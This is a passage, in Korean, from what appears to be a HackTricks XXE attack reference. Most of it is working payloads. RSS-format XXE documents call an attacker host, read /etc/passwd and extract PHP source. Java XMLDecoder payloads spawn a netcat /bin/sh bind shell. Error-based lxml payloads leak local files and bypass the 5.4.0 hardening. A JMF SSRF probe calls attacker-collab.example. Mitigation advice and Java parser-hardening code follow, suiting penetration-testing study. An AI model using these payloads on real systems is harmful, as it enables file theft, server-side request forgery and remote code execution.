이 수정은 HTTP를 통해 전송된 오류 출력에 반영되므로 파일 내용의 성공적인 유출로 이어집니다. 이는 민감한 정보를 추출하기 위해 Out of Band 및 Error-Based 기술을 모두 활용한 성공적인 XXE (XML External Entity) 공격을 나타냅니다.

RSS - XEE

XXE 취약점을 악용하기 위한 RSS 형식의 유효한 XML.

Ping back

공격자의 서버로의 간단한 HTTP 요청

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

파일 읽기

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

소스 코드 읽기

PHP base64 필터 사용

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 readObject 메서드 호출에 임의의 데이터를 사용하도록 애플리케이션을 유도할 수 있다면, 그는 즉시 서버에서 코드 실행 권한을 얻게 됩니다.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

XXE + WrapWrap + Lightyear + 우회

이 놀라운 보고서를 확인해 보세요 https://swarm.ptsecurity.com/impossible-xxe-in-php/

도구

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities

Python lxml 파라미터-엔티티 XXE (오류 기반 파일 노출)

[!INFO] Python 라이브러리 lxml은 내부적으로 libxml2를 사용합니다. lxml 5.4.0 / libxml2 2.13.8 이전 버전은 resolve_entities=False일 때도 파라미터 엔티티를 확장하여, 애플리케이션이 load_dtd=True 및/또는 resolve_entities=True를 활성화하면 접근할 수 있게 됩니다. 이는 로컬 파일의 내용을 파서 오류 메시지에 포함하는 오류 기반 XXE 페이로드를 허용합니다.

1. lxml < 5.4.0 이용하기

1. 정의되지 않은 파라미터 엔티티(예: %config_hex;)를 정의하는 로컬 DTD를 디스크에 식별하거나 생성합니다.
2. 내부 DTD를 작성하여:

• <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">로 로컬 DTD를 로드합니다.
• 정의되지 않은 엔티티를 재정의하여:

• 대상 파일을 읽습니다 (<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">).
• %flag; 값을 포함하는 유효하지 않은 경로를 참조하는 또 다른 파라미터 엔티티를 생성하고 파서 오류를 유발합니다 (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">).

3. 마지막으로 %local_dtd;와 %eval;를 확장하여 파서가 %error;를 만나고 /aaa/<FLAG>를 열지 못하게 하여 플래그가 발생한 예외 내에 누출되도록 합니다 – 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.

<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>

애플리케이션이 예외를 출력할 때 응답에는 다음이 포함됩니다:

Error : failed to load external entity "file:///aaa/FLAG{secret}"

Tip

파서가 내부 서브셋 내의 %/& 문자에 대해 불평하는 경우, 이들을 이중 인코딩(% ⇒ %)하여 확장을 지연시킵니다.

2. lxml 5.4.0 하드닝 우회 (libxml2는 여전히 취약함)

lxml ≥ 5.4.0은 위와 같은 error 매개변수 엔티티를 금지하지만, libxml2는 여전히 이를 general 엔티티에 포함할 수 있도록 허용합니다. 요령은 다음과 같습니다:

1. 파일을 매개변수 엔티티 %file로 읽습니다.
2. non-existent protocol인 meow://%file;을 사용하는 general 엔티티 c를 구축하는 또 다른 매개변수 엔티티를 선언합니다.
3. XML 본문에 &c;를 배치합니다. 파서가 meow://…를 역참조하려고 할 때 실패하고 오류 메시지에 파일 내용을 포함한 전체 URI를 반영합니다.

<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>

주요 내용

• 파라미터 엔티티는 resolve_entities가 XXE를 차단해야 할 때에도 libxml2에 의해 여전히 확장됩니다.
• 유효하지 않은 URI 또는 존재하지 않는 파일은 제어된 데이터를 발생한 예외에 연결하기에 충분합니다.
• 이 기술은 아웃바운드 연결 없이 작동하므로, 엄격하게 이그레스 필터링된 환경에 이상적입니다.

완화 지침

• lxml ≥ 5.4.0으로 업그레이드하고, 기본 libxml2가 ≥ 2.13.8인지 확인하십시오.
• 절대 필요하지 않는 한 load_dtd 및/또는 resolve_entities를 비활성화하십시오.
• 클라이언트에게 원시 파서 오류를 반환하는 것을 피하십시오.

Java DocumentBuilderFactory 강화 예제

Java 애플리케이션은 종종 DocumentBuilderFactory를 사용하여 XML을 파싱합니다. 기본적으로 이 팩토리는 외부 엔티티 해석을 허용하므로, 추가적인 강화 플래그가 설정되지 않으면 XXE 및 SSRF에 취약합니다:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

보안 구성 예:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();

애플리케이션이 내부적으로 DTD를 지원해야 하는 경우, disallow-doctype-decl을 비활성화 상태로 유지하되 항상 두 개의 external-*-entities 기능은 false로 설정해야 합니다. 이 조합은 고전적인 파일 노출 페이로드(file:///etc/passwd)와 네트워크 기반 SSRF 벡터(http://169.254.169.254/…, jar: 프로토콜 등)를 방지합니다.

실제 사례 연구: CVE-2025-27136에서 Java S3 에뮬레이터 LocalS3는 위에 표시된 취약한 생성자를 사용했습니다. 인증되지 않은 공격자는 CreateBucketConfiguration 엔드포인트에 조작된 XML 본문을 제공하여 서버가 HTTP 응답에 로컬 파일(예: /etc/passwd)을 포함하도록 할 수 있었습니다.

JMF/프린트 오케스트레이션 서비스의 XXE → SSRF

일부 프린트 워크플로우/오케스트레이션 플랫폼은 XML을 TCP를 통해 수신하는 네트워크 대면 Job Messaging Format (JMF) 리스너를 노출합니다. 기본 파서가 DOCTYPE을 수용하고 외부 엔티티를 해결하는 경우, 고전적인 XXE를 활용하여 서버가 아웃바운드 요청(SSRF)을 하거나 로컬 리소스에 접근하도록 강제할 수 있습니다.

현장에서 관찰된 주요 사항:

• 전용 포트(일반적으로 Xerox FreeFlow Core의 4004)에서의 네트워크 리스너(예: JMF 클라이언트).
• disallow-doctype-decl 또는 엔티티 해제가 비활성화된 상태에서 jar 내의 Java 기반 XML 파싱(예: jmfclient.jar).
• 아웃오브밴드 콜백이 신뢰할 수 있게 익스플로잇을 확인합니다.

최소 JMF 스타일 SSRF 프로브(구조는 제품에 따라 다르지만 DOCTYPE이 중요함):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>

노트:

• 엔티티 URL을 협력자로 교체하십시오. SSRF가 가능하면 서버는 메시지를 파싱하는 동안 이를 해결합니다.
• 확인해야 할 하드닝: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false.
• JMF 포트가 파일을 제공하지 않더라도, SSRF는 내부 재조사 또는 로컬호스트에 바인딩된 관리 API에 도달하기 위해 연결될 수 있습니다.

이 벡터에 대한 참조는 페이지 끝에 나열되어 있습니다.

참조

• OffSec Blog – CVE-2025-27136 LocalS3 XXE

• https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

• https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

• HTTP를 통해 자체 외부 DTD를 사용하여 정보 추출: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection

• https://gist.github.com/staaldraad/01415b990939494879b4

• https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

• https://portswigger.net/web-security/xxe

• https://gosecure.github.io/xxe-workshop/#7

• Dojo CTF Challenge #42 – Hex Color Palette XXE write-up

• lxml bug #2107279 – Parameter-entity XXE still possible

• Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)

• Xerox FreeFlow Core Security Guide (architecture/ports)

• Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.